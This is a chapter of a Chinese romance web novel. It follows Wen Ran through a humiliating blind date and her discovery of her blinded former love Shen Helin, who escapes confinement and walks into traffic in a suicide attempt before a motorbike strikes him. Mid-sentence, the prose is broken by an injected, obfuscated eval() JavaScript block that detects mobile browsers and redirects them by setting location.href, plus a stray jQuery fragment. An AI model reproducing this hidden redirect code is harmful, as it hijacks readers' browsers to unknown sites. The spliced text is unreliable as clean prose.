哪怕再为沈鹤凛的事感到难过,温染的牛马生活还得继续。
正值一个大项目,全公司上下忙得焦头烂额,她连续加班了N天,忘了今夕是何夕。
好不容易忙完了,她回到家饭都没吃,沾床就睡,此时哪怕是世界末日来临她也照样睡到底。
“砰砰砰!”门口传来大力的拍门声,一下比一下重,可见来人的气势汹汹。。
温染被吵醒,迷迷糊糊睁开眼。
“死丫头,快开门!”在门外敲了半天的温母徐芝女士怒不可遏,“你知不知道现在几点了!”
听到母亲熟悉的声音,温染惊得从床上弹跳而起,连鞋都没穿好,就战战兢兢跑出去给自家女王陛下开了门。
“妈……”温染弱弱地叫了一声,垂着头不敢看她的脸色。
“几点了。”女王陛下气场全开,语气无比冷漠。
“……9点50。”温染瞄了眼墙上的时钟。
“你跟小陆约的几点。”
“11点。”
“从这儿到你们约定的西餐厅要多久。”
“一个小时。”温染脑袋越垂越低,自知大难临头。
“那你还杵在这里干嘛?当门神吗!”
看着头没洗,妆没化,衣服没换,一副没睡醒样子的温染,徐芝女士迎面就是一声爆喝,声音震得墙上的挂画歪了一个角,温染被喷了满脸的啜沫星子。
来不及擦,温染就连滚带爬地飞奔回房。
卧室里,看到满地乱扔的衣服,徐芝女士又对她进行惨无人道的人身攻击:“你看看你,油头垢面的样子,哪个男人能看得上,都25了,再不找就晚了!”
“妈,我今年才24。”温温弱弱的反驳。
徐芝闻言一个眼刀飞过去,温染立马乖乖闭嘴。
“我告诉你,今天你必须给我拿下小陆!人家小陆一个大好青年,放弃美国年薪百万的工作回国创业,年轻有为,人也长得一表人才,这种好男人打着灯笼都找不着,你要是不好好把握机会,以后就别管我叫妈!”
见温染一直低头,徐芝又对她实行怀柔政策:“妈也不是让直接你嫁给他,就是跟他接触接触,交个朋友,你也不小了,有些事也必须考虑了。而且你长得也不差,好歹继承了妈的美貌,只要你多上点心,这事儿一定成。”
一番苦口婆心的教诲之后,徐芝决定亲自上阵给她上妆,温染反抗无效,只好任她在她脸上涂涂抹抹。徐芝女士一边给她上妆,一边又忍不住数落她:“昨晚我就对你千叮咛万嘱咐,要早起好好捯饬,给人家留个好印象,你倒好,起这么晚,要是我不上门,你是不是要睡到太阳下山?”
“妈,我这段时间太累了,好不容易有一个周末,我……”
“你什么你,你还有理了是吧!气色这么差,黑眼圈遮都遮不住。”徐芝女士忿忿地又给她上了一层粉。
半小时后,勉强捯撐好的温染被徐芝女士一脚踹出了家门。约好的车就在楼下,温染打开车门坐了进去,前头的司机漫不经心地扫了她一眼,立马悚然一惊:“哎哟姑娘,你这脸化得也太吓人了。”
温染从包包里掏出小镜子,看到自己脸白得跟墙有得一拼,嘴红似血,眉毛又粗又黑,谈不上有多美,她把镜子放回包里,有些自暴自弃地说:“师傅,走吧,时间来不及了。”
到了约定好的西餐厅,已经迟到了十几分钟的温染先是对相亲对象陆远辉致以万分歉意,陆远辉表示没关系,然后把菜单递给她让她点菜。
上菜期间,陆远辉非常能侃的从他在美国打拼的艰难历程,一直滔滔不绝地谈到他回国创业的艰辛,然后又头头是道解析当下的中美关系,颇有一副指点江山的样子。
毫无插嘴余地的温染只能睁着无神的双眼像是回到了高中政治课般听得昏昏欲睡。
一直侃侃而谈的陆远辉终于停下来喝口水,瞧着从见面就只说了几句话的温染,决定将话语权移交给她:“温小姐在哪高就?”
温染强打精神应付道:“寰宇集团。”
闻言,陆远辉有些诧异:“能进寰宇的都不是一般人,看来温小姐能力一定很强,不会经常加班吧?”
不待温染回答,他又说:“女孩子最好找轻松一点的工作,结婚以后啊以家庭为重。”
温染没接话,低头默默吃菜,想着找个什么理由走人比较好。
陆远辉看着今天精心打扮的温染,虽然她妆有些浓,但还是能看出她底子不差,肤白貌美,红唇动人,而且她家境还行,简单聊了几句也能发现她性格很好,陆远辉对她印象不错,觉得可以往下深聊。
“...温小姐以前交往过对象吗?”
“交过一个。”
“能冒昧问一句为什么分手吗?”
温染皱了皱眉,说:“性格不合。”
“那你们同居过吗,进行到哪一步了?”
温染抿唇没说话,眉眼冷下来。
似乎看出她不高兴,陆远辉忙笑着打圆场:“温小姐别介意,我这是一朝被蛇咬十年怕井绳,上一个女朋友就是隐瞒同居堕胎史,想把我当接盘侠,所以我希望我未来女朋友是干净的,温小姐请见谅。”
温染虽然脾气好,但也不是任人轻视羞辱的,她忍无可忍地说:“我没有过,请你放尊重点,”
他似乎没听出她的讽刺,依旧滔滔不绝:“没有最好,我家比较传统,讲究男主外女主内,所以婚后你可以辞了工作,安心在家替我照顾父母,最好生三个孩子,两男一女,凑个好字,我都养得起......”
温染彻底歇了和他继续谈下去的欲望:“我们不合适,这些事陆先生和别人畅想去吧,我先走了。”
她脸上的鄙夷和嫌弃太过明显,陆远辉恼羞成怒地拉住拿起包包要走的她:“走什么走,要走也得把饭钱付了。”
话音刚落,就传来一声意味不明的嗤笑。
温染寻声望去,看到隔壁桌上也坐着一男一女,女人气质成熟优雅,男人西装革履,唇边弧度尚未来得及消失,下颌线清晰锋利,鼻梁高挺,架着副墨镜,侧脸看起来很像记忆中的某个人。
温染忍不住多看了两眼。
陆远辉先是听到男人奚落似的嘲笑,又见温染直勾勾盯着那个男人瞧,心中怨愤难平:“你也不是什么好东西,外表看着挺清纯的,内里就是个骚贱的婊子!”
温染挣开他的钳制,一把抄起手边的冰水,兜头朝他泼过去,在周围人诧异的目光中重重放下水杯,沉着脸离开。
她妈是从哪个垃圾堆里给她找的相亲对象,不仅道貌岸杨,还满口污言秽语。
走出了餐厅,温染心里依旧怒气冲冲。
正巧这时她妈打来电话。
徐芝先对她进行了亲切慰问,在得知陆远辉辱骂她后也很生气,末了还安慰她,说下次一定打听好人品再给她介绍。
“不用了,相亲没几个靠谱的,您让我慢慢找吧。”
温染神色恹恹,沿着街道漫无目的走。
“相亲就是一个不成再看第二个,总会有合适的,等你慢慢找三十岁都嫁不出去!”
温染听着这些话,心里越发烦躁,正欲反驳,目光不经意间捕捉到对面街道上一个熟悉而陌生的身影。
男人穿着蓝白色病号服,身高腿长,手挥动着盲杖,侧颜轮廓看起来有些眼熟。
温染心脏蓦然狂跳起来。
会是他吗?
他真的看不见了?
他怎么一个人走在大街上?
温染脑子思绪纷杂,嗡鸣作响,连电话里的母亲说的什么也听不清了。
她匆匆挂断电话,想追过去,但是马路上车来车往,刚迈出一步一辆小轿车就飞速驶来,她只好退
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16448090|185185||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
回去,焦灼地停在斑马线等绿灯亮起,目光死死盯着那人的背影,期望他走得再慢一点。
可绿灯迟迟不亮,眼看他越走越远,快没影了,温染在原地等得心急如焚,足足过了十几秒绿灯才亮起来,她拔足往对面街跑。
路尽头已经看不到男人的身影了,温染憋足一口气追过去,她今天为了相亲还穿了双八厘米的高跟鞋,跑在砖块不齐的地面上差点崴到脚,路上行人纷纷朝她侧目。
***
沈鹤凛不知道自己在哪条街,什么方向,眼前只有些微的光感,期间碰到了胡乱停放在盲行道上的障碍物,几次摔倒他都迅速爬起,步履不停继续往前走,生怕慢一步就会被抓回去,再度关进暗无天日的所谓疗养院里。
过去的一个多月,于他而言,像一场永远醒不了的噩梦。
那场惨烈的车祸,如同跗骨之蛆,在他脑海里挥之不去。
沈同辉是他在世上唯一的亲人,哪怕再恨他,也从来没想过让他死。
要是一切可以重来就好了。
他不会坐上那辆车,不会在车上和父亲发生挣执,司机也不会分神酿成悲剧。
可世界上没有如果。
他断了三根肋骨,脾脏破裂,还瞎了眼,即便侥幸捡回一条命,但只能活在黑暗的世界里,甚至连父亲葬礼都不能参加。
因母亲也死于那场车祸,同父异母的弟弟沈归承,便把所有的过错都归咎于他和父亲的争吵,对他恨之入骨。
先是联合多数股东成功获得大半股权,再通过董事会集体表决把他架空踢出局。
他有心夺回所有权,但朝夕相处多年的下属,给了他更为沉重的打击,不仅站在沈归承的阵营背叛他,还诱导失明的他签下股权转让协议和债务协议,导致他丧失股权、名下财产冻结。
一夕之间,鸟尽弓藏,兔死狗烹。
这还不够,沈归承还打着为他好的名义将他软禁在集团旗下疗养院,让他苟延残喘地躺在病床上,任人宰割,肆意打骂。
他有时候想不明白,为什么自己没有一起死在那场车祸里。
不在走了多久,路好像到了尽头。
沈鹤凛抿紧唇,停下脚步,耳边全是呼啸的车流声,自己似乎处于某个十字路口,他立在原地半响,不知该何去何从。
即便看不见,也能感受到周围人打量般的目光,令他如芒在背。
他现在是个一无所有的穷光蛋,落魄至此,身无分毫,甚至耻于向路人寻求帮助。
纵观他这些年,母亲早亡,心无挂碍,把自己活成了工作机器,专注扩展商业版图,吝于笑容,难有好脸色,无怪乎亲信和下属接连背叛,现在还是个毫无用处的瞎子。
哪怕去了救助站,吃喝拉撒也是问题,只会给人平添麻烦。
也许再往前走几步,他就能得到解脱。
这般想着,沈鹤凛扔掉盲杖,无所顾忌地往前走,过往车辆的喇叭声几乎刺破耳膜。
追上来的温染看到这一幕,惊得差点魂飞魄散。
“沈鹤凛,快停下!”
声音撕裂空气传入沈鹤凛耳中,他脚下一顿,恍惚间以为是幻听。
车行道上开着摩托车的小伙,正连着蓝牙耳机和女朋友通电话,拐弯时没注意到有人站在路中间,再想刹车已经刹不住了。
‘嘭’地一声,就这么把沈鹤凛撞飞出去。
温染浑身血液逆流,惶恐得连声音都发不出,眼睁睁看着他重重摔到地面上。
不知过了多少秒,颤抖的温染才渐渐找回呼吸,拖着虚软的腿拼命跑过去,一下子跪倒在不省人事的沈鹤凛身旁。
看着他熟悉的眉眼,温染潸然泪下。
她真的没认错,可是为什么事情会变成这样?
温染抽噎着擦去眼泪,用抖得不成样的手,艰难拨打120......